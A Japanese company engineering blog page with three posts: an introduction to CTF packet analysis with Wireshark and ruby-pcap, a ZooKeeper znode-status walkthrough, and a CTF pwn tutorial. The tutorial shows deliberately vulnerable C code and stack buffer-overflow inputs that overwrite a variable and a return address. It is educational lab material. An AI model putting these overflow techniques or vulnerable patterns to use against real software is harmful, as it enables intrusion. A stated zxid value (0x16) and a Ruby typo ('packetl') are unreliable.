フロムスクラッチ開発者ブログ

from scratch Engineers' Blog

CTFのパケット解析から学ぶセキュリティとハッキング vol.1

 こんにちは!この春フロムスクラッチに入社した新人エンジニアのおんじです!

 今回のフロムスクラッチ開発ブログでは「CTFのバイナリ解析から学ぶセキュリティとハッキング」に続いて、パケット解析編の勉強会について書きたいと思います。
また、勉強会の内容自体が書籍の『セキュリティコンテストチャレンジブック CTFで学ぼう情報を守るための戦い方』を参考にしているので、より深く気になる方は手にとってみてはいかがでしょうか。
 ※CTFバイナリ解析編のバックナンバーは、こちらからどうぞ!

1.CTFとは?

 CTFとは情報技術に関する問題に対して適切な形で対処することで、「フラグ(Flag)」と呼ばれる得点対象の文字列を取得することによって、得られた得点で勝敗を決める大会です。”Capture The Flag”の頭文字をとってCTFといいます。国内ではSECCON CTFが有名です。(CTFについては、こちらの記事で詳しく触れています。)

2.ネットワークプロトコルとパケット

 パケット解析では、ネットワークを流れる通信を分析して、どのようなプロトコルでどのような要素を扱った通信を行っているのかを解明します。そのため、まずは前提のネットワークプロトコルの知識を確認していきます。

 ネットワークプロトコルとは、ネットワーク上での通信に関する規約を定めたものです。TCP/IPのモデルによると、これは以下のような階層構造になっています。

  f:id:kota-onji:20180507212545p:plain

これは、階層間の依存を無くし、プロトコルの開発やメンテナンスを容易に行えるようにすることを目的とした構造になっています。
 何らかのデータを送信する際には、上記のそれぞれの階層で、そのプロトコルに必要な情報を渡されたデータの先頭に付与し、次の階層に渡します。この付与した情報をヘッダと呼び、このヘッダを付与する動作をカプセル化と呼びます。
 逆に、データを受信した際には、それぞれの階層でこのヘッダを解釈し、削除した後に次の階層に渡していきます。
                                            
 今回扱うパケットは、一般的には、インターネット層のデータのことを指します。しかし、パケット解析を行う際には、ネットワークインターフェース層のヘッダとデータも解析します。この部分は一般的にはフレームと呼ばれますが、便宜上この記事では上図の太枠で囲われた部分をパケットとして扱っていきます。

3.pcapファイル

 ではパケットに関する前提を確認した所で、実際にパケットの解析に進んでいきたいと思います。ここではWiresharkと呼ばれるGUIのネットワークパケット・プロトコル解析ツールを使用していきます。
 ※OSはUbuntu 16.04.4 、Wiresharkのバージョンは2.2.6で実行しています。
 『セキュリティコンテストチャレンジブック CTFで学ぼう情報を守るための戦い方』によると、Wiresharkには、主に以下の3つの機能が実装されています。

 (1)ネットワークを流れるパケットをキャプチャ する
 (2)キャプチャしたパケットを表示する
 (3)表示したパケットを解析する

 まず、パケット解析をするために、パケット情報をキャプチャしていきます。Wiresharkを起動すると、以下のような画面が表示されます。
f:id:kota-onji:20180505205250p:plain

ここで、パケット情報を取得したい接続を選択します。すると、以下のようにパケット情報が記録されていきます。

f:id:kota-onji:20180505205257p:plain

あとは左上2番目の停止ボタンを押下し、ファイルを保存したらパケットのキャプチャは完了です(※sample1.pcapというファイル名で保存)。

 ここで保存されたパケットのキャプチャは、WinPcap(Linuxであればlibpcap)ファイルフォーマットというフォーマットで保存されます。このフォーマットはパケットを記録する基本的なフォーマットで、ネットワーク通信を記録するファイルとして、広く使用されています。以下に、そのサンプルを示します。

 f:id:kota-onji:20180508104119p:plain

 pcapファイルは、基本的に次の3段構造になっています。
 f:id:kota-onji:20180507212554p:plain
 Pcap file header(以下pcapheader)は、pcapファイルそのものの情報を格納する部分です。その最大の特徴は、ファイルの先頭の"D4 C3 B2 A1"という先頭の4バイトです。pcapファイルであれば必ずこのような4バイトから始まっており、pcapファイルを判別する部分になっています。また、pcapheadaerには他にも次のような情報が格納されています。
  ●pcapファイルフォーマットのバージョン情報
    - major version:2バイト "02 00"
    - minor version:2バイト "04 00"

  ●タイムゾーン情報
    - timezone:4バイト "00 00 00 00"

  ●タイムスタンプの精度
    - sigfigs:4バイト "00 00 00 00"

  ●キャプチャできるパケット長の最大長
    - snaplen:4バイト "ff ff 00 00"

  ●データリンク層のヘッダタイプ
    - linktype:4バイト "01 00 00 00
pcap headerをまとめると、以下のような構造になっています。
f:id:kota-onji:20180507212751p:plain

 Pcap packet header(以下packet header)は、各パケットに付与されるヘッダで、それぞれのパケットに関する情報が格納されています。具体的には以下の情報が格納されています。
  ●パケットキャプチャしたときのタイムスタンプ
    - 日付を表すUNIXタイムスタンプ:4バイト "72 bb ec 5a"
    - マイクロ秒を表すタイムスタンプ:4バイト "82 6a 04 00"

  ●パケットの長さ
    - caplen:4バイト "54 00 00 00"
    - len:4バイト "8c 16 45 04"

 基本的に、caplenとlenは同じ値ですが、pcap headerのsnaplenよりも大きいパケッ トがパケットキャプチャ中に流れてきた場合、ファイルに記録されるパケット長と実際 のパケット長は異なるので、caplenとlenは異なる値になる可能性があります。
 そしてこのpacket headerの後に、各パケットのpacket dataが格納されているという形式になっています。

4.Rubyを使ったパケット解析

 pcapファイルの構成がわかった所で、実際の解析に移っていきたいと思います。今回はRubyの拡張ライブラリであるruby-pcapを使用して、解析を行いました。
 ※Ruby 2.3.1 、ruby-pcap 0.7.9で実行

 まず、Rubyの環境下にruby-pcapをインストールします。

$ sudo apt-get install libpcap-dev
$ sudo gem install ruby-pcap

 次に、例としてIP パケットのsource addressを抽出してくるコードを作成します(先程キャプチャしたsample1.pcapを使用)。

require 'pcap'

packets = Pcap::Capture.open_offline('sample1.pcap')

packets.each do |packet|
  puts packet.ip_src if packet.ip? == true
end

 これを実行すると、以下のように接続していたIPアドレスが羅列されていきます。

172.217.25.232
10.0.2.15
183.79.250.123
104.244.43.112
10.0.2.15
10.0.2.15
104.244.43.112
104.244.43.112
10.0.2.15
104.244.43.112
...
※以下略

このままだと、無秩序に並んでいるだけなので、タイムスタンプも一緒に出力してIPアドレスごとにソートをかけて出力してみます。

require 'pcap'

array = Array.new

packets = Pcap::Capture.open_offline('sample1.pcap')

packets.each do |packet|
  ip = packet.ip_src if packetl.ip? == true
  time = packet.time

  array.push([ip.to_s,time.to_s,''])

end

sorted = array.sort 
puts sorted

すると、以下のように出力されるようになりました。

54.250.162.79
2018-05-04 05:00:20 +0900

54.250.162.79
2018-05-04 05:00:20 +0900

54.250.162.79
2018-05-04 05:00:20 +0900

54.250.162.79
2018-05-04 05:00:20 +0900

54.250.162.79
2018-05-04 05:00:20 +0900

54.250.162.79
2018-05-04 05:00:20 +0900

54.250.162.79
2018-05-04 05:00:20 +0900

54.250.162.79
2018-05-04 05:00:20 +0900
...
※以下略

実際の解析ではこのように問題となっている接続を特定していきます。
この続きの解析については、次週記事にしたいと思います。

5.おわりに

 今回は、パケット解析の前提知識と、基本部分についてお話しました。次回は、実際のCTFの問題などを解いていき、より深い部分に踏み込んで行きたいと思います。次回も興味深い内容になる予定ですので、是非読んでみてください。

Apache ZooKeeperを内部解析してみる vol.4 〜znodeステータス編〜

こんにちはfukuです。

前回は実際にソースコードから内部的なデータノードの管理について解説を行いました。 今回は、前回少し紹介を行なったznodeのステータスについて詳細に説明を行なって行きます。

zxid

znodeのステータスの説明に入る前に、zxidについての説明を行います。ZooKeeperはもともと、複数のサーバにて分散して動作するように設計がされています。 そのため、各サーバが協調して動作するように、さらにはデータノードを定期的に永続化をする際に、データの整合性を保つためにzxid(ZooKeeperトランザクションID)というものがあります。 zxidはスタンドアローンとクラスタとの実行で少し役割の範囲が異なりますが、ここではスタンドアローンでの場合を考えます。 スタンドアローンでは主にデータの整合性を保つためにzxidを利用します。 そのためノードの追加や変更などのデータ更新を行うたびに、シーケンシャルに増加する値としてzxidがあるという認識で大丈夫です。

znodeのステータス

ではここで、znodeを操作することでどのようにステータスが変化するのかを見て行きましょう。

まず/testノードを作成し、ステータスを参照します。

[zk: localhost:2181(CONNECTED) 0] create /test "hoge"
Created /test
[zk: localhost:2181(CONNECTED) 1] get -s  /test
hoge
cZxid = 0x9
ctime = Sat Mar 31 22:27:40 JST 2018
mZxid = 0x9
mtime = Sat Mar 31 22:27:40 JST 2018
pZxid = 0x9
cversion = 0
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 4
numChildren = 0

cZxidでは対象のznodeを作成した時のzxid、ctimeはznodeを作成したシステム時間がそれぞれ記録されます。 上記から/testノードを作成した時のzxidは0x16であることがわかります。

次にmZxidmtimeは、それぞれznodeが最終更新された時のzxid、システム時間となるので、以下のように実際に更新してみます。

[zk: localhost:2181(CONNECTED) 2] set /test "hogehoge"
[zk: localhost:2181(CONNECTED) 3] get -s  /test
hogehoge
cZxid = 0x9
ctime = Sat Mar 31 22:27:40 JST 2018
mZxid = 0xa
mtime = Sat Mar 31 22:28:01 JST 2018
pZxid = 0x9
cversion = 0
dataVersion = 1
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 8
numChildren = 0

znodeを更新することでmZxidmtimeが変更されていることがわかります。またzxidの値もインクリメントされてセットされていることが確認できます。

続いてpZxidですが、こちらは子ノードを最終更新したzxidとなります。またcversionは子ノードのバージョン番号となっていて、子ノードが変更されるたびにバージョン番号が変更されます。

[zk: localhost:2181(CONNECTED) 4] create  /test/child1 "child1"
Created /test/child1
[zk: localhost:2181(CONNECTED) 5] get -s  /test
hogehoge
cZxid = 0x9
ctime = Sat Mar 31 22:27:40 JST 2018
mZxid = 0xa
mtime = Sat Mar 31 22:28:01 JST 2018
pZxid = 0xb
cversion = 1
dataVersion = 1
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 8
numChildren = 1

注意しなければならないのは、pZxidcversionはあくまで直属の子ノードに対するものであるので、孫にあたるznodeに対してはステータスの変更は起こりません。

[zk: localhost:2181(CONNECTED) 6] create  /test/child1/grandchild1 "grandchild1"
Created /test/child1/grandchild1
[zk: localhost:2181(CONNECTED) 7] get -s  /test
hogehoge
cZxid = 0x9
ctime = Sat Mar 31 22:27:40 JST 2018
mZxid = 0xa
mtime = Sat Mar 31 22:28:01 JST 2018
pZxid = 0xb
cversion = 1
dataVersion = 1
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 8
numChildren = 1

続いてdataVersionですがこちらはznodeに格納するデータのバージョンになります。このdataVersionを比較することによって、他のクライアントが対象データを書き換えを行ったかをチェックすることができます。

znodeに対してデータの書き込みを行う際に、バージョンを指定するオプションがあり、指定したバージョンが現在のdataVersionと一致する時のみ、書き込みを行うことができます。これによって他のクライアントが書き込みを行った場合には、書き込みを避けると行ったことが可能になります。

[zk: localhost:2181(CONNECTED) 8] set -v 10 /test hogehogehoge
version No is not valid : /test

[zk: localhost:2181(CONNECTED) 9] set -v 1 /test hogehogehoge

[zk: localhost:2181(CONNECTED) 10] get -s  /test
hogehogehoge
cZxid = 0x9
ctime = Sat Mar 31 22:27:40 JST 2018
mZxid = 0x20
mtime = Sat Mar 31 22:56:32 JST 2018
pZxid = 0xb
cversion = 1
dataVersion = 2
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 12
numChildren = 1

aclVersionはデータノードに設定されているアクセス権のバージョンを示す値となります。以下のようにデータノードのACLを変更することでaclVersionの値が更新されます

[zk: localhost:2181(CONNECTED) 11] setAcl /test world:anyone:crdwa
[zk: localhost:2181(CONNECTED) 12] get -s /test
hogehogehoge
cZxid = 0x9
ctime = Sat Mar 31 22:27:40 JST 2018
mZxid = 0x20
mtime = Sat Mar 31 22:56:32 JST 2018
pZxid = 0xb
cversion = 1
dataVersion = 2
aclVersion = 1
ephemeralOwner = 0x0
dataLength = 12
numChildren = 1

ephemeralOwnerはEPHEMERALモードのデータノードに対してセッションIDを格納ために利用されます。これによってZookeeperは特定のクライアントのセッションが切断された時に、対象のセッションIDとEPHEMERALモードのデータノードに格納されているephemeralOwnerを比較して一致すれば、そのデータノードを削除します。

# zkCliの起動ログ。セッションIDが0x1000363a57c0007に設定されている
2018-03-31 22:52:47,599 [myid:localhost:2181] - INFO  [main-SendThread(localhost:2181):ClientCnxn$SendThread@1381] - Session establishment complete on server localhost/127.0.0.1:2181, sessionid = 0x1000363a57c0007, negotiated timeout = 30000

[zk: localhost:2181(CONNECTED) 0] create -e /ephemeral
Created /ephemeral

[zk: localhost:2181(CONNECTED) 1] get -s  /ephemeral
null
cZxid = 0x25
ctime = Sat Mar 31 23:14:16 JST 2018
mZxid = 0x25
mtime = Sat Mar 31 23:14:16 JST 2018
pZxid = 0x25
cversion = 0
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x1000363a57c0007
dataLength = 0
numChildren = 0

最後にdataLengthnumChildrenの値ですが、こちらは文字の通りで、データノードに格納されているデータのバイト数と、子ノードの個数をそれぞれ表しています。

おしまいに

今回はデータノードのステータス管理について記述していきました。特にzxidやバージョン管理を行うことで、複数のクライアントがデータノードに関しての操作を行っても協調しながら状態管理が行えるようになります。

CTFのバイナリ解析から学ぶセキュリティとハッキング vol.2

 こんにちは。フロムスクラッチ新人エンジニアの遠藤です。
 フロムスクラッチでは、データを取り扱う会社としてセキュリティに関する社内勉強会を行っており、新人の自分がその場での学びをこちらで共有したいと思います。
 今回は以前に投稿したブログの続編として投稿させていただきます。気になる方はぜひこちらもご覧になっていただけると、今回の記事と合わせてより理解が深まるのではないかと思います。(記事のリンク)
 そして今回は「CTFのバイナリ解析から学ぶセキュリティとハッキング」というテーマの中でCTFのpwnに着目してお話ができればと思います。ちなみに、pwnとはCTFの種目の一つで、問題を攻略してサーバ権限を得る、といった手順を踏む問題のことを言います。
 勉強会の内容自体が書籍の『セキュリティコンテストチャレンジブック CTFで学ぼう情報を守るための戦い方』を参考にしているので、より深く気になる方は手にとって見てはいかがでしょうか。それでは今回もよろしくおねがいします。

1.脆弱性を探す

 前回の記事でも少し触れましたが、pwn問題の基本的な攻略法の手順として下記のような順番で行っていきます。

 1.環境を調べる(下調べ)
 2.脆弱性を探す
 3.エクスプロイト

 前回の記事では、1の環境を調べる方法を紹介させていただいたので、今回は2の脆弱性を探す以降を記事にできればと思います。
 
 脆弱性を探す基本的な方針は下記の2つです。
 ・プログラムが落ちるような入力を探す
 ・脆弱性の存在する箇所にプログラムを実行して辿り着く

 プログラムが落ちるような入力を探すステップでキーワードとなるのがバッファーオーバーフローです。 例えば、下記のようなユーザー入力を扱う関数があるとします。

#include <stdio.h>

int main(int argc, char *argv[]) {

  char buffer[100]; 
  fgets(buffer, 128, stdin); 
  return 0;
}

 この関数では、宣言されたbuffer変数サイズは100バイト分で、読み込まれる文字列は最大128バイトです。これを実行すると例えば、

$ python -c 'print("A"*128)' | ./bof

 などの入力を実行するとSegmmentation faultというメッセージが表示されます。
 このようにfgetsなどのユーザー入力を扱う関数では入力をメモリ上に配置するため、入力がバッファサイズを超えてしまうとバッファオーバーフローの脆弱性に繋がることがあります。他にはscanfなども同様です。
 
 ここで、どのような事が起こっているか簡単に説明させていただきたいと思います。

f:id:takuya-endo:20180424025303p:plain

 例えば図①のように16 bitのメモリ領域の中に、S1の領域を2bit予約してあり、2bitとなりにS2の領域を8bit持っているとします。ここで、図の②のようにS1の領域に”FROM TOKYO”という空白を含めて10文字のデータを入れるとします。データ自体は問題なく格納されます。しかしながら、バッファである2bit以上伸びてしまった文字列については担保されません。なぜならば、図の③のように、もし次の処理でS2の領域に”SCRATCH”という文字列が登録されれば” TOKYO”は上書きされてしまうからです。
 以下、実際に実行してみました。

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[8],s1[4] ;

  strcpy(s1, "FROM TOKYO"); // s1の領域を越えて代入.
  fprintf(stdout, "%s\n", s1);

  strcpy(s2, "SCRATCH");
  fprintf(stdout, "%s\n", s1);

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}

 こちらのコードをコンパイルして実行します。

$ gcc -m32 -fno-stack-protector -o example example.c
$ ./example
FROM TOKYO
FROMSCRATCH
s1 = 0xff97f7e4 : s2 = 0xff97f7e8 

 実際に置き換わりました!
 これは、IPなど大事な情報が入ったメモリについても同様のことが言えます。このように脆弱性は存在し、pwnではそれを見つけ出していきます。

 具体的にローカル変数の破壊を行ってみると下記のようになります。

#include <stdio.h>
  
int main(int argc, char *argv[]) {
     
  int zero = 0;
  char buffer[10];
  printf("buffer address\t= %x\n", (int)buffer);
  printf("zero address\t= %x\n", (int)&zero);
  fgets(buffer, 64, stdin);
  printf("zero = %d\n", zero);
     
  return 0;
}

こちらのコードをコンパイルし、実行すると

$gcc test.c  -o bof1
$ ./bof1 
buffer address  = ffffe430
zero address    = ffffe43c
ctf4b
zero = 0
$ ./bof1 
buffer address  = ffffe430
zero address    = ffffe43c
dddddddddddddddddddddddddddddd
zero = 1684300900
Segmentation fault

 1回目の実行では、ctf4b(5バイト+改行コード=6バイト)を入力していて、変数はバッファ内に収まっているので問題は発生しません。
 一方で2つ目の実行ではバッファ不足のため全て埋めた上で変数 'zero' にまで入力が及んでしまい、zero変数が上書きされてしまっている状態です。

2.CPUの仕組み

 さらにpwnで脆弱性をつくにあたってキーとなるのがCPUの仕組みです。この仕組を理解した上で、プログラムの脆弱性を探します。
 f:id:takuya-endo:20180423234813p:plain
 プログラムを実行するにあたり、CPUとメモリとスタックが動きます。プログラムはメモリに格納されています。このとき、各命令文やデータが格納できるデータ量が割り当てられ、かつ割り当てられた箇所にポインタアドレスと言って、どこにどのデータが格納されているかわかるようになっています。
 f:id:takuya-endo:20180423234816p:plain
 CPUはレジスタを持っており、次にメモリ内のどこのアドレスの命令文やデータを使用するのかのアドレスを持ちます。このとき、基本的には上から順番にアドレスが入り実行されます。しかし命令文などが順番ではなく別のアドレスに移動する場合に、一旦持っていたアドレスやローカル変数をスタック領域に退避させます。
 f:id:takuya-endo:20180423234821p:plain
 スタック領域にはデータが積み重なるように格納されていき、リターンなどによりCPUに戻され実行されます。実行されるとスタック領域からは撤去されます。
 

3.エクスプロイト

 ここでは上記で説明した脆弱性とCPUの仕組みを利用してクスプロイトをしていきます。エクスプロイトとはコンピュータのセキュリティ用語で、脆弱性を利用した悪意のある行為のことを指します。pwnでは問題を解くためにエクスプロイトを行っていきます。
 先程CPUの仕組みで記載したスタックスペースのバッファーオーバーフローを狙っていきます。
 全体の流れとしては下記のとおりです。
 1.ローカル変数の破壊
 2.ローカルアドレスの書き換え
 3.リターンアドレスの書き換え
 4.メイン関数の実行

 ローカル変数の破壊については、脆弱性の箇所でご説明したので省略します。ここではローカル変数を書き換えから行います。
 

#include <stdio.h>
 
int main(int argc, char *argv[]) {
 
  char buffer[10];
  int zero = 0;
  
  fgets(buffer, 64, stdin);
  printf("zero = %x\n", zero);
  if (zero == 0x12345678) {
    printf("congrats!");
  }
  
  return 0;
}

こちらのコードをコンパイルします。上記のコードを32bitでコンパイルを行います。

$  gcc -m32 -fno-stack-protector -o bof2 test2.c
$ file bof2 
bof2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=b2cc5abde805741fa786c49c96f71f3e859a0039, not stripped

ここで試しに変数 `zero` を12345678に書き換えてみようと思います。

12345678=x78\x56\x34\x12

で入力されるので、そのまま入れようとすると、

$ echo -e 'x78\x56\x34\x12' | ./bof2
zero = 0

このように変数 `zero` はゼロのままです。
バッファーオーバーフローを利用するため目的の数値の前に'AAAAAAAAAA'を書き加えて実行すると、

$  echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2
zero = 12345678

このように変数 `zero` を書き換えることができます。

このようにローカル変数が書き換えることができれば、同様に近くにあるリターン関数の場所を特定して書き換えることもできます。

 #include <stdio.h>
 #include <string.h>
 
 char buffer[32];
 
 int main(int argc, char *argv[]) {
     char local[32];
     printf("buffer: 0x%x\n", &buffer);
     fgets(local, 128, stdin);
     strcpy(buffer, local);
     return 0;
 }

同様にこちらもコンパイルします。また、大量の文字列を入力した場合にオーバーフローする動作の確認も行いました。

$ gcc -m32 -fno-stack-protector -o bof3 test3.c
$ ./bof3
buffer: 0x804a060
ctf4b
$ ./bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

こちらをgdbで実行します。結果は長いので中略していますが、

]$ gdb -q bof3
Reading symbols from /home/user/blogtest/bof3...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/blogtest/bof3 
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
…(中略)
EIP: 0x41414141 (b'AAAA')
…(中略)
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

こちらでEIPの値を知ることができます。
そこで、gdb-peda を用いてEIPのメモリアドレスを調べます。
出現する場所を特定したらあとはどこにリターンするかを決めます。
今回はmain関数の先頭にリターンさせます。逆アセンブルでmain関数の先頭を探します。

(前略)
0804849d <main>:
 804849d:       push   ebp
 804849e:       mov    ebp,esp
 80484a0:       and    esp,0xfffffff0
 80484a3:       sub    esp,0x30
 80484a6:       mov    DWORD PTR [esp+0x4],0x804a060
 80484ae:       mov    DWORD PTR [esp],0x8048594
 80484b5:       call   8048350 <printf@plt>
 80484ba:       mov    eax,ds:0x804a040
 80484bf:       mov    DWORD PTR [esp+0x8],eax
 80484c3:       mov    DWORD PTR [esp+0x4],0x80
 80484cb:       lea    eax,[esp+0x10]
 80484cf:       mov    DWORD PTR [esp],eax
 80484d2:       call   8048360 <fgets@plt>
 80484d7:       lea    eax,[esp+0x10]
 80484db:       mov    DWORD PTR [esp+0x4],eax
 80484df:       mov    DWORD PTR [esp],0x804a060
 80484e6:       call   8048370 <strcpy@plt>
 80484eb:       mov    eax,0x0
 80484f0:       leave  
 80484f1:       ret    
 80484f2:       xchg   ax,ax
 80484f4:       xchg   ax,ax
 80484f6:       xchg   ax,ax
 80484f8:       xchg   ax,ax
 80484fa:       xchg   ax,ax
 80484fc:       xchg   ax,ax
 80484fe:       xchg   ax,ax
(後略)

先頭は0x804849dとわかったので、

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'

実行してみると、

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3
buffer: 0x804a060
buffer: 0x804a060
Segmentation fault

mainが2回実行されました!
このように、プログラムの実行位置を自由な場所に移動させることができるようになったので、いわゆるEIPを奪ったという状態になりました。
そしてどの領域でも実行できるようにすれば、バッファーの変数にシェルコードを仕込み実行させることもできます。
ここまでできることがpwnでの一つのポイントとなります。

4.おわりに

 簡単に学びをまとめると、CPUやメモリ、また、言語などによって脆弱性というものが存在し、それを理解することによってよりセキュリティの強固なコードを書けるエンジニアになったり、外部からの攻撃から守れる知識を習得するという観点でCTFは非常に勉強になりました。まだまだ勉強不足なのでこれからも精進していきます。ありがとうございました。